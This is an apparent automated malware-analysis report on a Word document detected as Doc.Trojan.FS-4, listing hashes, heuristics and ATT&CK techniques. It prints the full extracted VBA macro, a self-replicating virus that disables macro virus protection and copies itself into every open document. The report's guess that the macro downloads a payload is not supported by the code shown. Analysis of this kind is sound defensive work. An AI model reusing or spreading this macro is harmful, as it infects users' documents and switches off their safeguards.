Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4808b84f57d2845…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-07-17 06:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: db26e2f0639ca8ac3615e0fff320841c SHA-1: f09ecea861c7efe0d6b487bde61b9cedd75654f6 SHA-256: d4808b84f57d2845eb15d4c455af6a1e667c1634ae609a98aecf04025f88bc35
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro attempts to modify the document's code, likely to obfuscate or download a secondary payload. The presence of the 'Document_Open' macro and the ClamAV detection 'Doc.Trojan.FS-4' strongly indicate malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.FS-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 714 bytes
SHA-256: eb21ef94dc03d683c3be0f0aea2dd2fa1fa8d8fe0dad85f49112f1d7fdf020dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Jo
Private Sub Document_Open(): Document_Close: End Sub
Private Sub Document_Close(): On Error Resume Next
Options.VirusProtection = 0: Application.EnableCancelKey = 0
For ι = 1 To Documents.Count
With Documents(ι).VBProject.VBComponents(1).CodeModule
If .Find("~^^~", 0, 0, 0, 0, 0, 0) = 0 Then
.DeleteLines 1, .CountOfLines
.AddFromString VBE.CodePanes(1).CodeModule.Lines(1, 11)
End If: End With: Next
End Sub

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